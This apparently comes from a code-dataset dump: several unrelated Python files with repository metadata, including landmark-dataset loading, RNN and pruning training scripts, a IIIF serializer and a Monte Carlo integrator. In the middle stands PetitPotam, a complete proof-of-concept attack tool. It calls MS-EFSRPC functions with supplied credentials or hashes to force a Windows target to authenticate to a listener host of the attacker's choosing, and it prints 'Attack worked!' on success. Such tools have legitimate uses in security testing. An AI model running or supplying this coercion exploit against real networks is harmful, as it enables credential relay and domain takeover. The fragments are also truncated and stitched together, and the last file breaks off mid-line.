+ sigma ** 2) ** 1.5) # Usable gaussian range g_x = max(0, -ul[0]), min(br[0], img.shape[1]) - ul[0] g_y = max(0, -ul[1]), min(br[1], img.shape[0]) - ul[1] # Image range img_x = max(0, ul[0]), min(br[0], img.shape[1]) img_y = max(0, ul[1]), min(br[1], img.shape[0]) img[img_y[0]:img_y[1], img_x[0]:img_x[1]] = g[g_y[0]:g_y[1], g_x[0]:g_x[1]] return img class WLFWDatasets(data.Dataset): def __init__(self, file_list, transforms=None): self.line = None self.lm_number = 98 self.img_size = 96 self.ft_size = self.img_size // 2 self.hm_size = self.img_size // 2 self.transforms = transforms with open(file_list, 'r') as f: self.lines = f.readlines() def __getitem__(self, index): self.line = self.lines[index].strip() jpg_idx = self.line.find('png') line_data = [self.line[:jpg_idx + 3]] line_data.extend(self.line[jpg_idx + 4:].split()) self.line = line_data self.img = cv2.imread(self.line[0]) # generate ft # self.ft_img = generate_FT(self.img) # self.ft_img = cv2.resize(self.ft_img, (self.ft_size, self.ft_size)) # self.ft_img = torch.from_numpy(self.ft_img).float() # self.ft_img = torch.unsqueeze(self.ft_img, 0) self.landmark = np.asarray(self.line[1:197], dtype=np.float32) # generate heatmap # self.heatmaps = np.zeros((self.lm_number, self.img_size, self.img_size)) # for idx in range(self.lm_number): # self.heatmaps[idx, :, :] = draw_labelmap(self.heatmaps[idx, :, :], (self.landmark[idx * 2] * self.img_size, self.landmark[idx * 2 + 1] * self.img_size)) # self.heatmap = cv2.resize(self.heatmap, (self.hm_size, self.hm_size)) # self.heatmap = (self.heatmap * 255).astype(np.uint8) # with open("heatmap.txt", "w") as f: # for i in range(self.hm_size): # str_ = ','.join(str(s) for s in self.heatmap[i, :]) # f.write(str_ + '\n') # cv2.imwrite('heatmap.jpg', self.heatmap) if self.transforms: self.img = self.transforms(self.img) return self.img, self.landmark def __len__(self): return len(self.lines) if __name__ == '__main__': file_list = './data/test_data/list.txt' wlfwdataset = WLFWDatasets(file_list) dataloader = DataLoader(wlfwdataset, batch_size=256, shuffle=True, num_workers=0, drop_last=False) for img, landmark, attribute, euler_angle in dataloader: print("img shape", img.shape) print("landmark size", landmark.size()) print("attrbute size", attribute) print("euler_angle", euler_angle.size())

0

1,868

0

5,836

0

-16

365

30737425867bb55a2af14436ac1b6d6839ca34e3

16,368

py

Python

modules/exploit/use/petitpotam.py

astar-security/MaeGeri

b28b37fe1cb8c4f650b8a4c9019636c540262fda

[ "Apache-2.0" ]

null

modules/exploit/use/petitpotam.py

astar-security/MaeGeri

b28b37fe1cb8c4f650b8a4c9019636c540262fda

[ "Apache-2.0" ]

null

modules/exploit/use/petitpotam.py

astar-security/MaeGeri

b28b37fe1cb8c4f650b8a4c9019636c540262fda

[ "Apache-2.0" ]

null

#!/usr/bin/env python # # Author: GILLES Lionel aka topotam (@topotam77) # # Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo), shutd0wn(@ _nwodtuhs) # "Most of" the code stolen from dementor.py from @3xocyte ;) show_banner = ''' ___ _ _ _ ___ _ | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __ | _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \ _|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_| _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' PoC to elicit machine account authentication via some MS-EFSRPC functions by topotam (@topotam77) Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN ''' ################################################################################ # STRUCTURES ################################################################################ ################################################################################ # RPC CALLS ################################################################################ #class EfsRpcQueryProtectors(NDRCALL): # opnum = 21 # structure = ( # ('FileName', WSTR), # ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST), # ) #class EfsRpcQueryProtectorsResponse(NDRCALL): # structure = ( # ('ErrorCode', ULONG), # ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse), 4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse), 5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse), 6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse), 7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse), 8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse), 9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse), 12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse), 13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse), 15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse), 16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse), 18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse), 19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse), 21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse), # 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse), } if __name__ == '__main__': main()

36.454343

243

0.574047

#!/usr/bin/env python # # Author: GILLES Lionel aka topotam (@topotam77) # # Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo), shutd0wn(@ _nwodtuhs) # "Most of" the code stolen from dementor.py from @3xocyte ;) import sys import argparse from impacket import system_errors from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.uuid import uuidtup_to_bin show_banner = ''' ___ _ _ _ ___ _ | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __ | _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \ _|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_| _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' PoC to elicit machine account authentication via some MS-EFSRPC functions by topotam (@topotam77) Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN ''' class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # STRUCTURES ################################################################################ class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): align = 1 structure = ( ('Data', '20s'), ) class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): align = 1 structure = ( ('Data', '20s'), ) class EFS_EXIM_PIPE(NDRSTRUCT): align = 1 structure = ( ('Data', ':'), ) class EFS_HASH_BLOB(NDRSTRUCT): structure = ( ('Data', DWORD), ('cbData', PCHAR), ) class EFS_RPC_BLOB(NDRSTRUCT): structure = ( ('Data', DWORD), ('cbData', PCHAR), ) class EFS_CERTIFICATE_BLOB(NDRSTRUCT): structure = ( ('Type', DWORD), ('Data', DWORD), ('cbData', PCHAR), ) class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT): structure = ( ('Lenght', DWORD), ('SID', RPC_SID), ('Hash', EFS_HASH_BLOB), ('Display', LPWSTR), ) class ENCRYPTION_CERTIFICATE(NDRSTRUCT): structure = ( ('Lenght', DWORD), ('SID', RPC_SID), ('Hash', EFS_CERTIFICATE_BLOB), ) class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT): align = 1 structure = ( ('Cert', DWORD), ('Users', ENCRYPTION_CERTIFICATE_HASH), ) class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT): structure = ( ('Type', DWORD), ('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST), ('Certif', ENCRYPTION_CERTIFICATE), ('Blob', EFS_RPC_BLOB), ) class EFS_RPC_BLOB(NDRSTRUCT): structure = ( ('Data', DWORD), ('cbData', PCHAR), ) class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): align = 1 structure = ( ('Data', ':'), ) ################################################################################ # RPC CALLS ################################################################################ class EfsRpcOpenFileRaw(NDRCALL): opnum = 0 structure = ( ('fileName', WSTR), ('Flag', ULONG), ) class EfsRpcOpenFileRawResponse(NDRCALL): structure = ( ('hContext', EXIMPORT_CONTEXT_HANDLE), ('ErrorCode', ULONG), ) class EfsRpcEncryptFileSrv(NDRCALL): opnum = 4 structure = ( ('FileName', WSTR), ) class EfsRpcEncryptFileSrvResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcDecryptFileSrv(NDRCALL): opnum = 5 structure = ( ('FileName', WSTR), ('Flag', ULONG), ) class EfsRpcDecryptFileSrvResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcQueryUsersOnFile(NDRCALL): opnum = 6 structure = ( ('FileName', WSTR), ) class EfsRpcQueryUsersOnFileResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcQueryRecoveryAgents(NDRCALL): opnum = 7 structure = ( ('FileName', WSTR), ) class EfsRpcQueryRecoveryAgentsResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcRemoveUsersFromFile(NDRCALL): opnum = 8 structure = ( ('FileName', WSTR), ('Users', ENCRYPTION_CERTIFICATE_HASH_LIST) ) class EfsRpcRemoveUsersFromFileResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcAddUsersToFile(NDRCALL): opnum = 9 structure = ( ('FileName', WSTR), ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST) ) class EfsRpcAddUsersToFileResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcFileKeyInfo(NDRCALL): opnum = 12 structure = ( ('FileName', WSTR), ('infoClass', DWORD), ) class EfsRpcFileKeyInfoResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcDuplicateEncryptionInfoFile(NDRCALL): opnum = 13 structure = ( ('SrcFileName', WSTR), ('DestFileName', WSTR), ('dwCreationDisposition', DWORD), ('dwAttributes', DWORD), ('RelativeSD', EFS_RPC_BLOB), ('bInheritHandle', BOOL), ) class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcAddUsersToFileEx(NDRCALL): opnum = 15 structure = ( ('dwFlags', DWORD), ('Reserved', EFS_RPC_BLOB), ('FileName', WSTR), ('dwAttributes', DWORD), ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST), ) class EfsRpcAddUsersToFileExResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcFileKeyInfoEx(NDRCALL): opnum = 16 structure = ( ('dwFileKeyInfoFlags', DWORD), ('Reserved', EFS_RPC_BLOB), ('FileName', WSTR), ('InfoClass', DWORD), ) class EfsRpcFileKeyInfoExResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcGetEncryptedFileMetadata(NDRCALL): opnum = 18 structure = ( ('FileName', WSTR), ) class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcSetEncryptedFileMetadata(NDRCALL): opnum = 19 structure = ( ('FileName', WSTR), ('OldEfsStreamBlob', EFS_RPC_BLOB), ('NewEfsStreamBlob', EFS_RPC_BLOB), ('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE), ) class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) class EfsRpcEncryptFileExSrv(NDRCALL): opnum = 21 structure = ( ('FileName', WSTR), ('ProtectorDescriptor', WSTR), ('Flags', ULONG), ) class EfsRpcEncryptFileExSrvResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) #class EfsRpcQueryProtectors(NDRCALL): # opnum = 21 # structure = ( # ('FileName', WSTR), # ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST), # ) #class EfsRpcQueryProtectorsResponse(NDRCALL): # structure = ( # ('ErrorCode', ULONG), # ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse), 4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse), 5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse), 6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse), 7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse), 8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse), 9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse), 12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse), 13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse), 15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse), 16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse), 18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse), 19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse), 21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse), # 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse), } class CoerceAuth(): def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp): binding_params = { 'lsarpc': { 'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target, 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') }, 'efsr': { 'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target, 'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0') }, 'samr': { 'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target, 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') }, 'lsass': { 'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target, 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') }, 'netlogon': { 'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target, 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') }, } rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding']) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) if targetIp: rpctransport.setRemoteHost(targetIp) dce = rpctransport.get_dce_rpc() #dce.set_auth_type(RPC_C_AUTHN_WINNT) #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) print("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) try: dce.connect() except Exception as e: print("Something went wrong, check error status => %s" % str(e)) sys.exit() print("[+] Connected!") print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0]) try: dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR'])) except Exception as e: print("Something went wrong, check error status => %s" % str(e)) sys.exit() print("[+] Successfully bound!") return dce def EfsRpcOpenFileRaw(self, dce, listener): print("[-] Sending EfsRpcOpenFileRaw!") try: request = EfsRpcOpenFileRaw() request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener request['Flag'] = 0 #request.dump() resp = dce.request(request) except Exception as e: if str(e).find('ERROR_BAD_NETPATH') >= 0: print('[+] Got expected ERROR_BAD_NETPATH exception!!') print('[+] Attack worked!') sys.exit() if str(e).find('rpc_s_access_denied') >= 0: print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!') print('[+] OK! Using unpatched function!') print("[-] Sending EfsRpcEncryptFileSrv!") try: request = EfsRpcEncryptFileSrv() request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener resp = dce.request(request) except Exception as e: if str(e).find('ERROR_BAD_NETPATH') >= 0: print('[+] Got expected ERROR_BAD_NETPATH exception!!') print('[+] Attack worked!') pass else: print("Something went wrong, check error status => %s" % str(e)) sys.exit() else: print("Something went wrong, check error status => %s" % str(e)) sys.exit() def main(): parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()") parser.add_argument('-u', '--username', action="store", default='', help='valid username') parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)') parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name') parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)') parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') parser.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it') parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass'], default='lsarpc', help='Named pipe to use (default: lsarpc)') parser.add_argument('listener', help='ip address or hostname of listener') parser.add_argument('target', help='ip address or hostname of target') options = parser.parse_args() if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' print(show_banner) if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True: from getpass import getpass options.password = getpass("Password:") plop = CoerceAuth() dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=options.pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip) plop.EfsRpcOpenFileRaw(dce, options.listener) dce.disconnect() sys.exit() if __name__ == '__main__': main()

0

9,176

0

2,669

0

181

1,175

2d3ca8371c21a92681fe90abff723c44bebc3c0d

3,045

py

Python

game2048/RNN_training.py

fuuuyuuu/2048-api

d96aa0bc7099e8ce7b792ec2b1051a44b4325eec

[ "Apache-2.0" ]

null

game2048/RNN_training.py

fuuuyuuu/2048-api

d96aa0bc7099e8ce7b792ec2b1051a44b4325eec

[ "Apache-2.0" ]

null

game2048/RNN_training.py

fuuuyuuu/2048-api

d96aa0bc7099e8ce7b792ec2b1051a44b4325eec

[ "Apache-2.0" ]

null

import torchvision.transforms as transforms # torch.manual_seed(1) # reproducible # Hyper Parameters EPOCH = 20 # train the training data n times, to save time, we just train 1 epoch BATCH_SIZE = 6400 TIME_STEP = 4 # rnn time step / image height INPUT_SIZE = 4 # rnn input size / image width global LR; LR = 0.001 # learning rate\ if __name__ == '__main__': main()

31.71875

110

0.587521

import torch from torch import nn import torchvision.transforms as transforms import matplotlib.pyplot as plt from data_loader import data_load from torch.autograd import Variable import numpy as np # torch.manual_seed(1) # reproducible # Hyper Parameters EPOCH = 20 # train the training data n times, to save time, we just train 1 epoch BATCH_SIZE = 6400 TIME_STEP = 4 # rnn time step / image height INPUT_SIZE = 4 # rnn input size / image width global LR; LR = 0.001 # learning rate\ def DataLoad(): # board_data loading with a batche size train_data = data_load(data_root = 'Train.csv', data_tensor = transforms.Compose([transforms.ToTensor()])) X_train = torch.utils.data.DataLoader(train_data, batch_size=BATCH_SIZE, shuffle=True, num_workers=0) # test_data = data_load(data_root='Test.csv', data_tensor=transforms.Compose([transforms.ToTensor()])) # X_test = torch.utils.data.DataLoader(test_data, batch_size=BATCH_SIZE, shuffle=True, num_workers=0) return X_train class RNN(nn.Module): def __init__(self): super(RNN, self).__init__() self.my_rnn = nn.LSTM( input_size=INPUT_SIZE, hidden_size=512, num_layers=4, batch_first=True ) self.out = nn.Linear(512, 4) def forward(self, x): r_out, (h_n, h_c) = self.my_rnn(x,None) out = self.out(r_out[:, -1 ,:]) return out def main(): global LR; rnn_training = RNN() train_data = DataLoad() optimizer = torch.optim.Adam(rnn_training.parameters(), lr=LR) loss_func = nn.CrossEntropyLoss() for epoch in range(EPOCH): if epoch == 10: LR = 0.0001 optimizer = torch.optim.Adam(rnn_training.parameters(), lr=LR) for step, (train, target) in enumerate(train_data): target = target.long(); b_x = Variable(train.view(-1,4,4)) # print(b_x.shape) b_y = Variable(target) if torch.cuda.is_available(): b_x = Variable(b_x).cuda() b_y = b_y.cuda() rnn_training = rnn_training.cuda() optimizer.zero_grad() output = rnn_training(b_x) loss = loss_func(output, b_y) loss.backward() optimizer.step() if step % 50 == 0: train_output = output # (samples, time_step, input_size) # pred_y = torch.max(train_output, 1)[1].data pred_y = train_output.data.max(1)[1] # print(type(pred_y), type(target)) num = (pred_y.eq(b_y.data).sum()) accuracy = 100*num / 6400 print('Epoch: ', epoch, '| train loss: %.4f' % loss, '| test accuracy: %.2f' % accuracy) torch.save(rnn_training,'rnn_model_b'+str(epoch)+'.pkl') torch.save(rnn_training, 'rnn_model_final.pkl') if __name__ == '__main__': main()

0

394

0

2,003

0

23

201

ce512afce118edf2c22282a539009707e00c705b

1,877

py

Python

apps/iiif/serializers/annotation_list.py

ecds/readux

4eac8b48efef8126f4f2be28b5eb943c85a89c2e

[ "Apache-2.0" ]

18

2017-06-12T09:58:02.000Z

2021-10-01T11:14:34.000Z

apps/iiif/serializers/annotation_list.py

ecds/readux

4eac8b48efef8126f4f2be28b5eb943c85a89c2e

[ "Apache-2.0" ]

276

2019-04-26T20:13:01.000Z

2022-03-31T10:26:28.000Z

apps/iiif/serializers/annotation_list.py

ecds/readux

4eac8b48efef8126f4f2be28b5eb943c85a89c2e

[ "Apache-2.0" ]

7

2018-03-13T23:44:26.000Z

2021-09-15T17:54:55.000Z

# pylint: disable = attribute-defined-outside-init, too-few-public-methods """Module for serializing IIIF Annotation Lists""" from django.contrib.auth import get_user_model USER = get_user_model()

36.096154

90

0.583378

# pylint: disable = attribute-defined-outside-init, too-few-public-methods """Module for serializing IIIF Annotation Lists""" import json from django.core.serializers import serialize from django.core.serializers.base import SerializerDoesNotExist from .base import Serializer as JSONSerializer from django.contrib.auth import get_user_model from django.db.models import Q import config.settings.local as settings USER = get_user_model() class Serializer(JSONSerializer): """ IIIF V2 Annotation List https://iiif.io/api/presentation/2.1/#annotation-list """ def _init_options(self): super()._init_options() self.owners = self.json_kwargs.pop('owners', 0) def get_dump_object(self, obj): # TODO: Add more validation checks before trying to serialize. if self.version == 'v2' or self.version is None: data = { "@context": "http://iiif.io/api/presentation/2/context.json", "@id": '{h}/iiif/v2/{m}/list/{c}'.format( h=settings.HOSTNAME, m=obj.manifest.pid, c=obj.pid ), "@type": "sc:AnnotationList", "resources": json.loads( serialize( 'annotation', obj.annotation_set.filter( Q(owner=USER.objects.get(username='ocr')) | Q(owner__in=self.owners) ), is_list=True) ) } return data return None class Deserializer: """Deserialize IIIF Annotation List :raises SerializerDoesNotExist: Not yet implemented. """ def __init__(self, *args, **kwargs): raise SerializerDoesNotExist("annotation_list is a serialization-only serializer")

0

1,392

0

109

178

6ace6f1e7b2b5d4ff7aa95d88b4bbe251e459eca

575

py

Python

FOMMS_integrate/stochastic.py

nschieber/FOMMS_integrate

87456d476ecee45b8a06782da12baa1ce4c08e88

[ "BSD-3-Clause" ]

null

FOMMS_integrate/stochastic.py

nschieber/FOMMS_integrate

87456d476ecee45b8a06782da12baa1ce4c08e88

[ "BSD-3-Clause" ]

null

FOMMS_integrate/stochastic.py

nschieber/FOMMS_integrate

87456d476ecee45b8a06782da12baa1ce4c08e88

[ "BSD-3-Clause" ]

null

""" This function implements 1d Monte Carlo integration """ import numpy as np def monte_1d(x, f, trials): """ Compute a 1D definite integral Parameters ---------- f : function User defined function. x : numpy array Integration domain. trials : integer Total number of generated random samples. Returns ------- I : float Integration result. """ a = x[0] b = x[1] d = (b - a) * np.random.rand(1, trials) + a y = f(d) print('Test addition') return (b-a) * np.sum(y) / trials

19.166667

52

0.553043

""" This function implements 1d Monte Carlo integration """ import numpy as np def monte_1d(x, f, trials): """ Compute a 1D definite integral Parameters ---------- f : function User defined function. x : numpy array Integration domain. trials : integer Total number of generated random samples. Returns ------- I : float Integration result. """ a = x[0] b = x[1] d = (b - a) * np.random.rand(1, trials) + a y = f(d) print('Test addition') return (b-a) * np.sum(y) / trials

0

138fa2e645bcd4f89b72e76fa68172d58825add1

3,047

py

Python

snip/train.py

3846chs/SNIP

de1771cf4c90edeaa9924ed406293b48ceece7a2

[ "MIT" ]

null

snip/train.py

3846chs/SNIP

de1771cf4c90edeaa9924ed406293b48ceece7a2

[ "MIT" ]

null

snip/train.py

3846chs/SNIP

de1771cf4c90edeaa9924ed406293b48ceece7a2

[ "MIT" ]

null

# np.random._bit_generator = np.random.bit_generator

45.477612

99

0.596652

import os import tensorflow.compat.v1 as tf import time import numpy as np # np.random._bit_generator = np.random.bit_generator from augment import augment def train(args, model, sess, dataset): print('|========= START TRAINING =========|') if not os.path.isdir(args.path_summary): os.makedirs(args.path_summary) if not os.path.isdir(args.path_model): os.makedirs(args.path_model) saver = tf.train.Saver() random_state = np.random.RandomState(9) writer = {} writer['train'] = tf.summary.FileWriter(args.path_summary + '/train', sess.graph) writer['val'] = tf.summary.FileWriter(args.path_summary + '/val') t_start = time.time() best_val_loss = 100 for itr in range(args.train_iterations): batch = dataset.get_next_batch('train', args.training_batch_size) batch = augment(batch, args.aug_kinds, random_state) feed_dict = {} feed_dict.update({model.inputs[key]: batch[key] for key in ['input', 'label']}) feed_dict.update({model.compress: False, model.is_train: True, model.pruned: True}) input_tensors = [model.outputs] # always execute the graph outputs if (itr+1) % args.check_interval == 0: input_tensors.extend([model.summ_op, model.sparsity]) input_tensors.extend([model.train_op]) result = sess.run(input_tensors, feed_dict) # Check on validation set. if (itr+1) % args.check_interval == 0: batch = dataset.get_next_batch('val', args.training_batch_size) batch = augment(batch, args.aug_kinds, random_state) feed_dict = {} feed_dict.update({model.inputs[key]: batch[key] for key in ['input', 'label']}) feed_dict.update({model.compress: False, model.is_train: False, model.pruned: True}) input_tensors = [model.outputs, model.summ_op, model.sparsity] result_val = sess.run(input_tensors, feed_dict) # Check summary and print results if (itr+1) % args.check_interval == 0: writer['train'].add_summary(result[1], itr) writer['val'].add_summary(result_val[1], itr) pstr = '(train/val) los:{:.3f}/{:.3f} acc:{:.3f}/{:.3f} spa:{:.3f} lr:{:.7f}'.format( result[0]['los'], result_val[0]['los'], result[0]['acc'], result_val[0]['acc'], result[2], result[0]['lr'], ) print('itr{}: {} (t:{:.1f})'.format(itr+1, pstr, time.time() - t_start)) t_start = time.time() # Save model if best_val_loss > result_val[0]['los']: print('save model, becase best_val_loss({:.3f}) > current_val_loss({:.3f})'.format( best_val_loss, result_val[0]['los'] )) saver.save(sess, args.path_model + '/itr-' + str(itr)) best_val_loss = result_val[0]['los'] # # Save model # if (itr+1) % args.save_interval == 0: # saver.save(sess, args.path_model + '/itr-' + str(itr))

0

2,866

0

-7

134

0e58e67d4649d5ef878008d9074dacf7645f53e2

4,768

py

Python

m1_resnet.py

VinGPan/Kaggle-HumanProtein

4d1abcc7f46774355644d30428ed6c73b28fd782

[ "Apache-2.0" ]

null

m1_resnet.py

VinGPan/Kaggle-HumanProtein

4d1abcc7f46774355644d30428ed6c73b28fd782

[ "Apache-2.0" ]

null

m1_resnet.py

VinGPan/Kaggle-HumanProtein

4d1abcc7f46774355644d30428ed6c73b28fd782

[ "Apache-2.0" ]

null

from keras_retinanet.bin.train import train_main import os if __name__ == '__main__': os.chdir("../") model_name = 'resnet101' train_main(0, None, ["csv", "data/trn1.csv", "data/classes.csv", "--val-annotations", "data/val1.csv"]) # model_name = 'resnet50' # h5s = glob.glob("run1_resnet_50/*.h5") # results = [] # best_f1 = 0 # for h5 in h5s: # y_true, y_pred = train_main(1, h5, ["csv", "data/trn1.csv", "data/classes.csv", # "--val-annotations", "data/val1.csv"]) # f1_max = 0 # th_max = 0 # pr_cnt_max = 0 # for th in np.linspace(0.0, 1.0, num=21): # for pr_cnt in range(1, 7): # y_pred_new = [] # for prd in y_pred: # ref_p = prd[(np.argsort(prd))[-pr_cnt]] # dec = (prd >= ref_p) & (prd >= th) # y_pred_new.append(dec) # f1_cur = f1_score(y_true, np.array(y_pred_new, dtype='int'), average='macro') # if f1_cur >= f1_max: # f1_max = f1_cur # th_max = th # pr_cnt_max = pr_cnt # results.append((h5, th_max, pr_cnt_max, f1_max)) # print([h5, th_max, pr_cnt_max, 